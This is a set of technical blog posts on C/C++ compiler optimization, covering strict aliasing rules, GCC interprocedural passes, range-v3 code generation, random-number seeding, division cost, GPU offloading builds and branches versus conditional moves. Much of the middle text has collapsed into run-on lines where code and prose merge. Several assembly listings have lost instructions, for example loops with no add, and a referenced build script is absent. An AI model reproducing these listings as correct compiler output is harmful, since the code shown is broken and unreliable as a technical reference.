------------------------------------------------------
BM_cleared/4096 7226 ns 7226 ns 96737
BM_random/4096 2049 ns 2049 ns 343001
That is, running on random data is 3.5x faster compared to running on all-zero data! The reason for this is that loads and stores are slow, and the CPU tries to improve performance by executing later instructions out of order. But it cannot proceed with a load before the previous store to that address has been done,1 which slows down progress when all loop iterations read and write the same memory address histogram[0] .
This is usually not much of a problem for normal programs as they have more instructions that can be executed out of order, but it is easy to trigger this kind of CPU corner cases when trying to measure the performance of small code fragments, which results in the benchmark measuring something else than intended. Do not trust benchmark results unless you can explain the performance and know how it applies to your use case...
1. The CPU does “store to load forwarding” that saves cycles by enabling the load to obtain the data directly from the store operation instead of through memory, but it still comes with a cost of a few cycles.
## Tuesday, July 4, 2017
### Strict aliasing in C90 vs. C99 – and how to read the C standard
I often see claims that the strict aliasing rules were introduced in C99, but that is not true – the relevant part of the standard is essentially the same for C90 and C99. Some compilers used the strict aliasing rules for optimization well before 1999 as was noted in this 1998 post to the GCC mailing list (that argues that enabling strict aliasing will not cause many problems as most software already has fixed their strict aliasing bugs to work with those other compilers...)
### C99 – 6.5 Expressions
The C standard does not talk about “strict aliasing rules”, but they follow from the text in “6.5 Expressions”:
An object shall have its stored value accessed only by an lvalue expression that has one of the following types:73
• a type compatible with the effective type of the object,
• a qualified version of a type compatible with the effective type of the object,
• a type that is the signed or unsigned type corresponding to the effective type of the object,
• a a type that is the signed or unsigned type corresponding to a qualified version of the effective type of the object,
• an aggregate or union type that includes one of the aforementioned types among its members (including, recursively, a member of a subaggregate or contained union), or
• a character type.
73 The intent of this list is to specify those circumstances in which an object may or may not be aliased.
Note the footnote that says that the intention of these rules is to let the compiler determine that objects are not aliased (and thus be able to optimize more aggressively).
### C90 – 6.3 Expressions
The corresponding text in C90 is located in “6.3 Expressions”:
An object shall have its stored value accessed only by an lvalue that has one of the following types:36
• the declared type of the object,
• a qualified version of the declared type of the object,
• a type that is the signed or unsigned type corresponding to the declared type of the object,
• a type that is the signed or unsigned type corresponding to a qualified version of the declared type of the object,
• an aggregate or union type that includes one of the aforementioned types among its members (including, recursively, a member of a subaggregate or contained union), or
• a character type.
36 The intent of this list is to specify those circumstances in which an object may or may not be aliased.
It is similar to the text in C99, and it even has the footnote that says it is meant to be used to determine if an object may be aliased or not, so C90 allows optimizations using the strict aliasing rules.
But standard have bugs, and those can be patched by publishing technical corrigenda, so it is not enough to read the published standard to see what is/is not allowed. There are two technical corrigenda published for C90 (ISO/IEC 9899 TCOR1 and ISO/IEC 9899 TCOR2), and the TCOR1 updates the two first bullet points. The corrected version of the standard says
An object shall have its stored value accessed only by an lvalue that has one of the following types:36
• a type compatible with the declared type of the object,
• a qualified version of a type compatible with the declared type of the object,
• a type that is the signed or unsigned type corresponding to the declared type of the object,
• a type that is the signed or unsigned type corresponding to a qualified version of the declared type of the object,
• an aggregate or union type that includes one of the aforementioned types among its members (including, recursively, a member of a subaggregate or contained union), or
• a character type.
36 The intent of this list is to specify those circumstances in which an object may or may not be aliased.
The only difference compared to C99 is that it does not talk about effective type, which makes it unclear how malloc:ed memory is handled as it does not have a declared type. This is discussed in the defect report DR 28 that asks if it is allowed to optimize
void f(int *x, double *y) {
*x = 0;
*y = 3.14;
*x = *x + 2;
}
to
void f(int *x, double *y) {
*x = 0;
*y = 3.14;
*x = 2; /* *x known to be zero */
}
if x and y point to malloc:ed memory, and the committee answered (citing the bullet point list from 6.3)
We must take recourse to intent. The intent is clear from the above two citations and from Footnote 36 on page 38: The intent of this list is to specify those circumstances in which an object may or may not be aliased.
Therefore, this alias is not permitted and the optimization is allowed.
In summary, yes, the rules do apply to dynamically allocated objects.
That is, the allocated memory gets its declared type when written and the subsequent reads must be done following the rules in the bullet-point list, which is essentially the same as what C99 says.
### One difference between C90 and C99
There is one difference between the C90 and C99 strict aliasing rules in how unions are handled – C99 allows type-punning using code such as
union a_union {
int i;
float f;
};
int f() {
union a_union t;
t.f = 3.0;
return t.i;
}
while this is implementation-defined in C90 per 6.3.2.3
[...] if a member of a union object is accessed after a value has been stored in a different member of the object, the behavior is implementation-defined.
Language lawyering is a popular sport on the internet, but it is a strange game where often the only winning move is not to play. Take for example DR 258 where the committee is asked about a special case in macro-expansion that is unclear. The committee answers
The standard does not clearly specify what happens in this case, so portable programs should not use these sorts of constructs.
That is, unclear parts of the standard should be avoided – not tried to get language lawyered into saying what you want.
And the committee is pragmatic; DR 464 is a case where the defect report asks to add an example for a construct involving the #line directive that some compilers get wrong, but the committee thought it was better to make it unspecified behavior
Investigation during the meeting revealed that several (in fact all that were tested) compilers did not seem to follow the interpretation of the standard as given in N1842, and that it would be best to acknowledge this as unspecified behavior.
So just because the standard says something does not mean that it is the specified behavior. One other fun example of this is DR 476 where the standard does not make sense with respect to the behavior of volatile:
All implementors represented on the committee were polled and all confirmed that indeed, the intent, not the standard, is implemented. In addition to the linux experience documented in the paper, at least two committee members described discussions with systems engineers where this difference between the standard vs the implementation was discussed because the systems engineers clearly depended on the implementation of actual intent. The sense was that this was simply a well known discrepency.
## Saturday, July 1, 2017
### Hard-coded hardware addresses in C/C++
I read a blog post “reinterpret_cast vs. constant expression” that discusses how to get rid of C-style casts for code such as
#define FOO ((struct S*)0xdff000)
But there is no need to have hard-coded addresses in the code – it is better to declare a normal structure
extern struct S hw_s;
and tell the linker to place it at address 0xdff000 using an assembly file containing the lines
.global hw_s
hw_s = 0xdff000
FOO can now be defined without a cast
#define FOO &hw_s
although it is probably better to use hw_s directly...
It is good to get rid of hard-coded addresses in C/C++ code even if you do not care about ugly casts. One reason is that the compiler cannot know which objects the hard-coded addresses point to, which restricts the data flow analysis. One other reason is that hard-coded addresses interact badly with instruction selection in the backend. This is especially true for code accessing hardware registers that expand to assignments of the form
*(volatile int *)(0xdff008) = 0;
*(volatile int *)(0xdff010) = 10;
The best way of generating the code depends on the CPU architecture, but it usually involves loading a base address into a register and storing using a “base + offset” addressing mode, so the compiler needs to split and re-combine the addresses (which is complicated as there are often restrictions on which offsets are valid, the cost of the base depends on the value, etc.). The ARM backend is good at this, but I have seen many cases where much slower and larger code than necessary is generated for more obscure architectures. For example, GCC 7.1 for RISC-V compiles
void foo(void)
{
*(volatile int *)(0xfffff00023400008) = 0;
*(volatile int *)(0xfffff00023400010) = 10;
}
to
foo:
lui a5,%hi(.LC0)
ld a5,%lo(.LC0)(a5)
li a4,10
sw zero,0(a5)
lui a5,%hi(.LC1)
ld a5,%lo(.LC1)(a5)
sw a4,0(a5)
ret
.LC0:
.dword -17591594647544
.LC1:
.dword -17591594647536
instead of the smaller and faster
foo:
lui a5,%hi(.LC0)
ld a5,%lo(.LC0)(a5)
li a4,10
sw zero,8(a5)
sw a4,16(a5)
ret
.LC0:
.dword -17591594647552
you get by writing through a normal structure.
## Monday, June 19, 2017
### A look at range-v3 code generation
I recently saw a Stack Overflow post that compared the speed of std::find_if on a vector vec
auto accumulated_length = 0L;
auto found = std::find_if(vec.begin(), vec.end(),
[&](auto const &val) {
accumulated_length += val;
});
auto const found_index = std::distance(vec.begin(), found);
and the equivalent code using the range-v3 library
auto const found_index = ranges::distance(vec
| ranges::view::transform(ranges::convert_to<long>{})
| ranges::view::partial_sum()
| ranges::view::take_while([=](auto const i) {
return !(to_find < i);
}));
Measuring the performance on an Intel Broadwell CPU using the Google benchmark library and this code compiled with the options
-O3 -march=native -std=c++14 -DNDEBUG
gives me the result
Benchmark Time CPU Iterations
------------------------------------------------------
BM_std/1024 311 ns 311 ns 2248354
BM_range/1024 2102 ns 2102 ns 332711
for gcc 7.1.0 and
BM_std/1024 317 ns 317 ns 2208547
BM_range/1024 809 ns 809 ns 864328
for clang 4.0.0. There are two obvious questions
• Why is range-v3 slower than the STL?
• Why is the difference so much bigger for GCC than for LLVM?
I also wanted to see if the STL added overhead, so I tried a simple C-style for-loop
long i, acc = 0;
for (i = 0; i < len; i++) {
acc += p[i];
if (to_find < acc)
break;
}
found_index = i;
This runs in 439 ns – 40% slower than the STL version! – which adds the question
• Why is the for-loop slower than the STL version?
### Why is the for-loop slower?
GCC is generating the obvious assembly for the for-loop
.L4:
movslq (%r8,%rax,4), %rcx
cmpq %rsi, %rdx
jg .L7
.L3:
addq $1, %rax cmpq %rdi, %rax jl .L4 .L7: ... I had expected the compiler to generate similar code for std::find_if, and that is what happens if it is used with an input iterator, but libstdc++ has an overload for random-access iterators which partially unrolls the loop template<typename _RandomAccessIterator, typename _Predicate> _RandomAccessIterator __find_if(_RandomAccessIterator __first, _RandomAccessIterator __last, _Predicate __pred, random_access_iterator_tag) { typename iterator_traits<_RandomAccessIterator>::difference_type __trip_count = (__last - __first) >> 2; for (; __trip_count > 0; --__trip_count) { if (__pred(__first)) return __first; ++__first; if (__pred(__first)) return __first; ++__first; if (__pred(__first)) return __first; ++__first; if (__pred(__first)) return __first; ++__first; } switch (__last - __first) { case 3: if (__pred(__first)) return __first; ++__first; case 2: if (__pred(__first)) return __first; ++__first; case 1: if (__pred(__first)) return __first; ++__first; case 0: default: return __last; } } This partial unrolling gets rid of a large fraction of the comparisons and branches, which makes a big difference for this kind of micro-benchmark. ### Why does GCC generate slow code for range-v3? The range-v3 code generated by GCC have a few objects placed on the stack which adds some (useless) memory operations. The reason they are not optimized has to do with how GCC are optimizing structures and the order the optimization passes are being run. The GCC “Scalar Replacement of Aggregates” (SRA) optimization pass splits structures into their elements. That is, struct S { int a, b, c; }; struct S s; s.a = s.b = s.c = 0; ... is transformed to the equivalent of int a, b, c; a = b = c = 0; ... and the variables are then optimized and placed in registers in the same way as normal non-structure variables. The compiler cannot split structures that have their address taken as it would then need to do expensive pointer tracking to find how each element is used, so such structures are kept on the stack. The GCC SRA pass is conservative and does not split a structure if any part of it has been captured by a pointer, such as struct S s; s.a = s.b = s.c = 0; int *p = &s.a; ... that could be split into int a, b, c; a = b = c = 0; int *p = &a; ... but that is not done by GCC. It is usually not a problem that address-taking limits SRA as optimization passes such as constant propagation eliminates use of pointers when they are only used locally in a function, so code of the form struct S s; int *p = &s.a; ... *p = 0; is transformed to struct S s; ... s.a = 0; which can then be optimized by SRA. But this requires that all paths to the use of p pass through the same initialization and that the compiler can see that they pass through the same initialization – we cannot easily eliminate the pointers for code such as struct S s; int *p; if (cond) p = &s.a; ... if (cond) *p = 0; that need the compiler to track values to see that all executions of *p initializes p to &s.a. And that is how the range-v3 code looks like after templates has been expanded and all functions inlined – the code does different initializations depending on if the range is empty or not and ends up with code segments of the form if (begin != end) { // Initialize some variables } ... if (begin != end) { // Use the variables } I have a hard time trying to follow exactly what range-v3 is trying to do – the code expands to more than 700 functions, so I have only looked at the compiler’s IR after inlining and I do not know exactly how it look in the C++ source code – but the result is that the compiler fails to propagate some addresses due to this issue and three objects (one struct take_while_view and two struct basic_iterator) are still placed on the stack when the last SRA pass has been run. GCC do eventually manage to simplify the code enough that SRA could eliminate all structures, but that is later in the optimization pipeline, after the last SRA pass has been run. I tested to add an extra late SRA pass – this eliminates the memory operations, and the function runs in 709 ns. Much better, but still only half the speed of the STL version. ### Why is range-v3 slower than the STL? Both GCC and LLVM generate the range-v3 code to something of the form static long foo(const int *begin, const int *end, long to_find) { long result = 0; const int *p = begin; if (begin != end) { result = *begin; while (1) { if (p == end) break; if (to_find < result) break; p++; if (p != end) result += *p; } } return p - begin; } that does one extra comparison in the loop body compared to the for-loop version. This kind of code is supposed to be simplified by the loop optimizers, but they are running relatively early in the optimization pipeline (partly so that later optimizations may take advantage of the improved loop structure, and partly as many optimizations makes life harder for the loop optimizer) so they are limited by the same issues mentioned in the previous section – that is, I assume the redundant comparison would be eliminated if the range-v3 library improved its handling of empty ranges etc. ## Sunday, June 4, 2017 ### -fipa-pta My previous blog post had a minimal description of -fipa-pta and I have received several questions about what it actually do. This blog post will try to give some more details... ### Points-to analysis Many optimizations need to know if two operations may access the same memory address. For example, the if-statement in i = 5; *p = -1; if (i < 0) do_something(); can be optimized away if *p cannot modify i. GCC tracks what the pointers may point to using the general ideas from the paper “Efficient Field-sensitive pointer analysis for C”. I will not describe the details – the first few pages of the paper do it better than I can do here – but the principle is that each pointer is represented by a set of locations it may point to, the compiler is generating set constraints representing each statement in the program, and then solving those constraints to get the actual set of locations the pointer may point to. But this process is expensive, so GCC is normally doing this one function at a time and assumes that called functions may access any memory visible to them. ### -fipa-pta The -fipa-pta optimization takes the bodies of the called functions into account when doing the analysis, so compiling void __attribute__((noinline)) bar(int *x, int *y) { *x = *y; } int foo(void) { int a, b = 5; bar(&a, &b); return b + 10; } with -fipa-pta makes the compiler see that bar does not modify b, and the compiler optimizes foo by changing b+10 to 15 int foo(void) { int a, b = 5; bar(&a, &b); return 15; } A more relevant example is the “slow” code from the “Integer division is slow” blog post std::random_device entropySource; std::mt19937 randGenerator(entropySource()); std::uniform_int_distribution<int> theIntDist(0, 99); for (int i = 0; i < 1000000000; i++) { volatile auto r = theIntDist(randGenerator); } Compiling this with -fipa-pta makes the compiler see that theIntDist is not modified within the loop, and the inlined code can thus be constant-folded in the same way as the “fast” version – with the result that it runs four times faster. ## Tuesday, May 30, 2017 ### Interprocedural optimization in GCC Compilers can do a better job optimizing a function if they can use knowledge of other functions. The obvious case is inlining, but there are many more cases. This post lists the interprocedural optimizations implemented in GCC 7. Many of the optimizations are only relevant for large functions (small functions are inlined into the caller!) or for helping other optimization passes. This makes it hard to give relevant examples, so the examples in this post are just illustrating the principles. ### Parameter passing Parameter passing for functions where GCC can see all callers (such as functions that are local to a translating unit, or when the whole program is compiled using link-time optimization) is optimized as • Unused parameters are removed. • Parameters passed by reference may be changed to be passed by value. For example, static int foo(int *m) { return *m + 1; } int bar(void) { int i = 1; return foo(&i); } is changed to static int foo(int m) { return m + 1; } int bar(void) { int i = 1; return foo(i); } which makes it much easier for other optimization passes to reason about the variables. • A structure may be split into its elements. For example, struct bovid { float red; int green; void *blue; }; static void ox(struct bovid *cow) { cow->red = cow->red + cow->green; } int main(void) { struct bovid cow; cow.red = 7.4; cow.green = 6; cow.blue = &cow; ox(&cow); return 0; } is changed to struct bovid { float red; int green; void *blue; }; static void ox(float *t1, int t2) { *t1 = *t1 + t2; } int main(void) { struct bovid cow; cow.red = 7.4; cow.green = 6; cow.blue = &cow; ox(&cow.red, cow.green); return 0; } These optimizations are enabled by -fipa-sra, which is enabled by default at -Os, -O2, and -O3. ### Constant propagation Functions where all callers pass the same constant can be optimized by propagating the constant into the function. That is, static int foo(int a, int b) { if (b > 0) return a + b; else return a * b; } int bar(int m, int n) { return foo(m, 7) + foo(n, 7); } is optimized to static int foo(int a) { return a + 7; } int bar(int m, int n) { return foo(m) + foo(n); } The constants can be propagated bitwise, which is useful for flag parameters. For example static int foo(int a, int b) { if (b & 4) return a & (b & 1); else return a & (b & 2); } int bar(int m, int n) { return foo(m, 9) | foo(n, 3); } is optimized to static int foo(int a, int b) { return a & (b & 2); } int bar(int m, int n) { return foo(m, 9) | foo(n, 3); } The constants do not need to be the same in all function calls – GCC tracks ranges of possible values and optimize as appropriate, so static int foo(int a, int b) { if (b > 0) return a + b; else return a * b; } int bar(int m, int n) { return foo(m, 5) + foo(n, 7); } is optimized to static int foo(int a, int b) { return a + b; } int bar(int m, int n) { return foo(m, 5) + foo(n, 7); } as both 5 and 7 are greater than 0. These optimizations are enabled by -fipa-cp, -fipa-bit-cp, and -fipa-vrp, which are enabled by default at -Os, -O2, and -O3. ### Constant propagation – cloning It is often the case that only a few of the function calls pass constants as parameters, or that the constants are conflicting so they cannot be propagated into the called function. GCC handles this by cloning the called function to let each conflicting call get its own version. For example, static int foo(int a, int b) { if (b > 0) return a + b; else return a * b; } int bar(int m, int n) { return foo(m, 5) + foo(m, n); } creates one clone of foo and optimizes it using the constant 5 for the parameter b static int foo(int a, int b) { if (b > 0) return a + b; else return a * b; } static int foo_clone(int a) { return a + 5; } int bar(int m, int n) { return foo_clone(m) + foo(m, n); } This optimization is enabled by -fipa-cp-clone, which is enabled by default at -O3. ### Devirtualization Devirtualization (converting calls to virtual functions to direct calls – see Jan Hubička's blog series on how devirtualization works in GCC) is helped by propagating type information in roughly the same way as the constants are propagated, and is implemented by the constant propagation pass. This is enabled by -fipa-cp and -fdevirtualize, which are enabled by default at -Os, -O2, and -O3. ### Caller-saved registers Caller saved registers do not need to be saved if those registers are not used by the called function. This optimization is enabled by -fipa-ra, which is enabled by default at -Os, -O2, and -O3. ### Identical code folding The “identical code folding pass” merges identical functions. The functions do not need to be identical in the source code – the merging is done halfway through the optimization pipeline so it is enough that they have the same structure after simplification (and variable names etc. does not matter). Functions that may be used outside the compilation unit cannot be completely merged as the C and C++ standards require that functions have unique addresses. GCC solves this by adding wrappers for the exported symbols, so that #include <stdio.h> void foo(char *s) { printf("Hello %s\n", s); } void bar(char *s) { printf("Hello %s\n", s); } is generated as .LC0: .string "Hello %s\n" foo: mov rsi, rdi xor eax, eax mov edi, OFFSET FLAT:.LC0 jmp printf bar: jmp foo This optimization is enabled by -fipa-icf, which is enabled by default at -Os, -O2, and -O3. ### Profile propagation Many optimizations have different heuristics depending on how much the code is executed. The compiler estimates branch frequencies and propagates this information between functions so that, for example, a function only called from “cold” code segments is treated as a “cold” function. This is enabled by -fipa-profile, which is enabled by default at -O and higher. ### Pure, const, and noexcept GCC analyzes functions to determine if they access memory or may throw exceptions, propagates this information throughout the compilation unit, and annotates the functions with pure, const, and noexcept attributes when possible, which helps other optimizations. This optimization is enabled by -fipa-pure-const, which is enabled by default at -O and higher. ### Global variables It is in general hard to optimize usage of global variables, but it is easy to improve usage of global variables that cannot escape the compilation unit and that do not have the address taken. There are three optimizations done on such variables • Removal of global variables that are never read. • A global variable that is used in only one function may be changed to a local variable in that function. • The compiler tracks which functions modifies the variables so that loads and stores may be moved over function calls that do not touch the variable. For example, the function bar in static int g; void foo(void) { // Code not touching g } int bar(void) { g += 1; foo(); g += 2; } is optimized to int bar(void) { foo(); g += 3; } These optimizations are enabled by -fipa-reference, which is enabled by default at -O and higher. ### Pointer analysis GCC can do interprocedural pointer analysis, which is enabled by -fipa-pta. This optimization is not enabled by default at any optimization level as it can cause excessive memory and compile-time usage on large compilation units. ## Sunday, May 21, 2017 ### Seeding the std::mt19937 random number engine A comment on Hacker News complained that the code in my previous blog post does not seed the std::mt19937 random number engine properly. The code was taken directly from a CppCon presentation, so I don’t want to take the blame, but the comment is right — the initialization code can be improved. ### State size and seeding The initialization in the blog post was done as std::random_device rd; std::mt19937 gen(rd()); which seeds the std::mt19937 random number engine with a random 32-bit value. The problem with this is that that the Mersenne twister has 19968 bits of internal state so it can generate $$2^{19968}$$ streams of random values, but we can only reach $$2^{32}$$ of those states when initializing with a 32-bit value. This is not necessarily a problem. Let’s say the random numbers are used for generating input data in unit tests. The test suite is probably not run more than a few thousand times, so it does not matter that it only can create $$2^{32}$$ different test runs. But there are use-cases where this is a problem. The random number engine can be seeded with more data by using std::seed_seq, and the code below seeds the std::mt19937 with the same number of bits as are in the state std::random_device rd; std::array<int, std::mt19937::state_size> seed_data; std::generate_n(seed_data.data(), seed_data.size(), std::ref(rd)); std::seed_seq seq(std::begin(seed_data), std::end(seed_data)); std::mt19937 gen(seq); ### std::random_device One other potential problem is the quality of the seed values. The idea behind std::random_device is that it returns non-deterministic random numbers, but it is allowed to return deterministic values (e.g. if a non-deterministic source is not available to the implementation). I’m not a big fan of this functionality — it either does exactly what you want (generates non-deterministic values) or it does the opposite (generates deterministic values), and there is no way you can determine which.1 This is probably not a problem when developing for the big platforms, but there may be surprises when running the code in other environments — at least old versions of libstdc++ on MinGW always return the same sequence of values... 1. The std::random_device can return an estimate of the entropy, and it is required to return 0 if the values are generated deterministically. But it is not required to return non-zero for the non-deterministic case, and e.g. libstdc++ is conservative and always estimates the entropy as 0, even when /dev/urandom or the x86 RDRND instruction are used. ## Tuesday, May 16, 2017 ### Integer division is slow The CppCon 2016 talk “I Just Wanted a Random Integer!” benchmarks randomization functionality from the C++ standard library (using GCC 5.1). There is one surprising result — the loop std::random_device entropySource; std::mt19937 randGenerator(entropySource()); std::uniform_int_distribution<int> theIntDist(0, 99); for (int i = 0; i < 1000000000; i++) { volatile auto r = theIntDist(randGenerator); } need 23.4 seconds to run while std::random_device entropySource; std::mt19937 randGenerator(entropySource()); for (int i = 0; i < 1000000000; i++) { std::uniform_int_distribution<int> theIntDist(0, 99); volatile auto r = theIntDist(randGenerator); } run in 5.1 seconds. But the latter should intuitively be slower as it does more in the loop... ### Code expansion The functionality in the standard library is implemented using template magic, but the compiler’s view of the code after inlining and basic simplification is that std::uniform_int_distribution<int> theIntDist(0, 99); is just defining and initializing a structure struct { int a, b; } theIntDist; theIntDist.a = 0; theIntDist.b = 99; while the call volatile auto r = theIntDist(randGenerator); is expanded to the equivalent of uint64_t ret; uint64_t urange = theIntDist.b - theIntDist.a; if (0xffffffff > urange) { const uint64_t uerange = urange + 1; const uint64_t scaling = 0xffffffff / uerange; const uint64_t past = uerange * scaling; do { ret = mersenne_twister_engine(randGenerator); } while (ret >= past); ret /= scaling; } else { ... uniform_int_distribution(&theIntDist, randGenerator); ... ret = ... } volatile int r = ret + theIntDist.a; where I have used ... for code that is not relevant for the rest of the discussion. ### Optimization differences It is now easy to see why the second case is faster — creating theIntDist in the loop makes it trivial for the compiler to determine that urange has the value 99, and the code simplifies to uint64_t ret; do { ret = mersenne_twister_engine(randGenerator); } while (ret >= 4294967200); ret /= 42949672; volatile int r = ret; This simplification is not possible when theIntDist is created outside of the loop — the compiler sees that the loop calls uniform_int_distribution with a reference to theIntDist, so it must assume that the value of theIntDist.a and theIntDist.b may change during the execution and can therefore not do the constant folding. The function does, however, not modify theIntDist, so both versions of the program do the same work, but the slow version needs to do one extra comparison/branch and a few extra arithmetic instructions for each loop iteration. ### The cost of division The mersenne_twister_engine is not a big function, but it is not trivial — it executes about 40 instructions — so it is surprising that adding a few instructions to the loop makes the program four times slower. I described a similar case in a previous blog post where the problem were due to branch mis-prediction, but the branch is perfectly predicted in this example. The reason here is that the slow loop need to do an integer division instruction when calculating scaling, and integer division is expensive — Agner Fog’s instruction tables says that the 64-bit division may need up to 103 cycles on the Broadwell microarchitecture! This usually does not matter too much for normal programs as as the compiler tries to move the division instructions so that they have as much time as possible to execute before the result is needed, and the CPU can in general continue executing other instructions out of order while waiting for the result of the division. But it does make a big difference in this kind of micro-benchmarks as the compiler cannot move the division earlier, and the CPU runs out of work to do out of order as the mersenne_twister_engine function executes much faster than the division. ## Monday, April 10, 2017 ### Building GCC with support for NVIDIA PTX offloading GCC can offload C, C++, and Fortran code to an accelerator when using OpenACC or OpenMP where the code to offload is controlled by adding #pragma statements (or magic comments for Fortran), such as #pragma acc kernels for (int j = 1; j < n-1; j++) { for (int i = 1; i < m-1; i++) { Anew[j][i] = 0.25f * (A[j][i+1] + A[j][i-1] + A[j-1][i] + A[j+1][i]); error = fmaxf(error, fabsf(Anew[j][i] - A[j][i])); } } This blog post describes what I needed to do in order to build a GCC trunk compiler with support for offloading to NVIDIA GPUs on Ubuntu 16.10. The first step is to install the NVIDIA CUDA toolkit. Googling shows lots of strange suggestions about what you need to do in order to get this to work (blacklisting drivers, adding the PCI address of your video card to config files, etc.), but it worked fine for me to just download the “deb (local)” file, and install it as sudo dpkg -i cuda-repo-ubuntu1604-8-0-local-ga2_8.0.61-1_amd64.deb sudo apt-get update sudo apt-get install cuda The toolkit is installed in /usr/local/cuda, and /usr/local/cuda/bin must be added to PATH so that GCC may find the ptxas tool. The script below fetches the source code and builds the compiler and tools Add $install_dir/lib64 to LD_LIBRARY_PATH, and the compiler can now be used to offload OpenACC code by compiling as
$install_dir/bin/gcc -O3 -fopenacc test.c or OpenMP as $install_dir/bin/gcc -O3 -fopenmp test.c
You may need to pass -foffload=-lm to the compiler if the code you offload contains math functions that cannot be directly generated as PTX instructions.
## Saturday, March 25, 2017
### pre-decrement vs. post-decrement, etc.
A recent talk at the OpenIoT Summit NA 2017, “Optimizing C for Microcontrollers — Best Practices”, had three examples illustrating the effect of different code constructs
• Array subscript vs. pointer access
• Loops (increment vs. decrement)
• Loops (post-decrement vs. pre-decrement)
as compiled using GCC 6.x on ARM and the -Os optimization level. This blog post will look a bit closer at those examples, and discuss why the conclusions are not always valid.
### Array subscript vs. pointer access
The first example is meant to illustrate the difference between array subscripts and pointer access with the two functions
int a[5];
int foo1(void)
{
int i;
int res = 0;
for (i = 0; i < 5; i++)
res += a[i];
return res;
}
and
int a[5];
int foo2(void)
{
int *p;
int i;
int res = 0;
for (p = a, i = 0; i < 5; i++, p++)
res += *p;
return res;
}
The first function is generated in a natural way
foo1:
movs r0, #0
mov r3, r0
ldr r1, .L5
.L3:
ldr r2, [r1, r3, lsl #2]
cmp r3, #5
bne .L3
bx lr
while the second function has its loop unrolled
foo2:
ldr r3, .L3
ldm r3, {r0, r2}
ldr r2, [r3, #8]
ldr r2, [r3, #12]
ldr r3, [r3, #16]
bx lr
The reason for this difference is that compiling with -Os should not unroll loops if unrolling increases the code size. But it is hard to estimate the resulting code size, as later optimization passes should be able to take advantage of the unrolling and be able to remove redundant code, so the compiler is using a rather imprecise heuristic. These loops are really close to the threshold (unrolling increases the code size by 4 bytes) and the minor difference between how the loops look when passed to the unroller makes the heuristic estimate that unrolling foo1 will increase the size by one instruction while foo2 will get the same size after unrolling.
This does, however, not illustrate any fundamental difference in the compiler’s understanding of array subscript compared pointer access — any difference in the code could affect a heuristic and have a similar effect (I have worked on compilers that generate different code if you rename variables or even add a comment!).1
### Loops (increment vs. decrement)
The second example uses the two functions
void foo1(void)
{
int x = 0;
do {
printk("X = %d\n", x);
x++;
} while (x < 100);
}
and
void foo2(void)
{
int x = 100;
do {
printk("X = %d\n", x);
x--;
} while (x);
}
to illustrate that it is better to write loops decrementing the iteration variable, as the CPU can do the end of loop check for free as
subs r4, r4, #1
bne .L3
adds r4, r4, #1
cmp r4, #100
bne .L3
That is true, but the compiler can in many cases transform the loop to change iteration order, so the iteration order in the generated program depend more on what the loop does than how it iterates in the source code.
Note that the two functions do not do the same thing — foo1 outputs the numbers in increasing order and foo2 outputs them in decreasing order. Modifying foo2 to do the same thing as foo1, by changing the function call to
printk("X = %d\n", 100 - x);
makes it generate identical code as foo1 (as the compiler decides that it is better to iterate using increments in order to eliminate the subtraction) even though the function was written as using decrements.
### Loops (post-decrement vs. pre-decrement)
The third example consider pre- vs. post-decrement using the examples
void foo1(void)
{
unsigned int x = 10;
do {
if (--x) {
printk("X = %d\n", x);
} else {
printk("X = %d\n", x);
x = 10;
}
} while (1);
}
and
void foo2(void)
{
unsigned int x = 9;
do {
if (x--) {
printk("X = %d\n", x);
} else {
printk("X = %d\n", x);
x = 9;
}
} while (1);
}
The example is meant to illustrate that --x is better, as it can get the comparison as a side effect of the subtraction in the same way as the previous example
subs r4, r4, #1
bne .L3
but it depends much on the microarchitecture if this is beneficial or not. Many microarchitectures can do compare and branch efficiently,2 so a compare and a branch are not necessarily slower than branching on the status code from the subtraction. The problem with --x is that it adds a data dependency — you must do the subtraction before you can evaluate the if-statement. With x-- you can evaluate the if-statement and subtraction in parallel, with the result that
if (--x)
need one extra cycle to execute compared to
if (x--)
for superscalar CPUs having efficient compare and branch.
1. This typically happens when the compiler has different equivalent choices (for example, should it spill variable a or b to the stack), and it just chooses the first alternative. The first alternative is found by iterating over some kind of container, and this container may be an associative array using pointer values as the key...
2. For example, x86 CPUs tend to fuse cmp and jne so that they execute as one instruction.
## Sunday, March 5, 2017
### The cost of conditional moves and branches
The previous blog post contained an example where branching was much more expensive than using a conditional move, but it is easy to find cases where conditional moves reduce performance noticeably. One such case is in this stack overflow question (and GCC bug 56309) discussing the performance of a function implementing a naive bignum multiplication
static void inline
single_mult(const std::vector<ull>::iterator& data,
const std::vector<ull>::const_iterator& rbegin,
const std::vector<ull>::const_iterator& rend,
const ull x)
{
ull tmp=0, carry=0, i=0;
for (auto rhs_it = rbegin; rhs_it != rend; ++rhs_it)
{
tmp = x * (*rhs_it) + data[i] + carry;
if (tmp >= imax) {
carry = tmp >> numbits;
tmp &= imax - 1;
} else {
carry = 0;
}
data[i++] = tmp;
}
data[i] += carry;
}
void
naive(std::vector<ull>::iterator data,
std::vector<ull>::const_iterator cbegin,
std::vector<ull>::const_iterator cend,
std::vector<ull>::const_iterator rbegin,
std::vector<ull>::const_iterator rend)
{
for (auto data_it = cbegin; data_it != cend; ++data_it)
{
if (*data_it != 0) {
single_mult(data, rbegin, rend, *data_it);
}
++data;
}
}
Minor changes to the source code made the compiler use conditional moves instead of a branch, and this reduced the performance by 25%.
The difference between branches and conditional moves can be illustrated by
a = a + b;
if (c > 0)
a = -a;
a = a + 1;
It is not possible to calculate the number of clock cycles for a code segment when working with reasonably complex CPUs, but it is often easy to get a good estimate (see e.g. this example for how to use such estimates when optimizing assembly code). The CPU converts the original instructions to micro-ops, and it can dispatch several micro-ops per cycle (e.g. 8 for Broadwell). The details are somewhat complicated,1 but most instructions in this blog post are translated to one micro-op that can be executed without any restrictions.
An assembly version using a branch looks like (assuming that the variables are placed in registers)
addl %edx, %eax
testl %ecx, %ecx
jle .L2
negl %eax
.L2:
addl $1, %eax The CPU combines the testl and jle instructions to one micro-op by what is called “macro-fusion”, so both the addition and the test/branch instructions can be dispatched in the first cycle. It takes a while for the compare and branch to execute, but branch prediction means that the CPU can speculatively start executing the next instruction in the following cycle, so the final addl or the negl can be dispatched in the second cycle (depending on if the branch is predicted as taken or not). The result is that the code segment is done in 2 or 3 cycles, provided that the branch prediction was correct — a mispredict must discard the speculated instructions and restart execution, which typically adds 15–20 cycles. Generating a version using a conditional move produces something like addl %edx, %eax movl %eax, %edx negl %edx testl %ecx, %ecx cmovg %edx, %eax addl$1, %eax
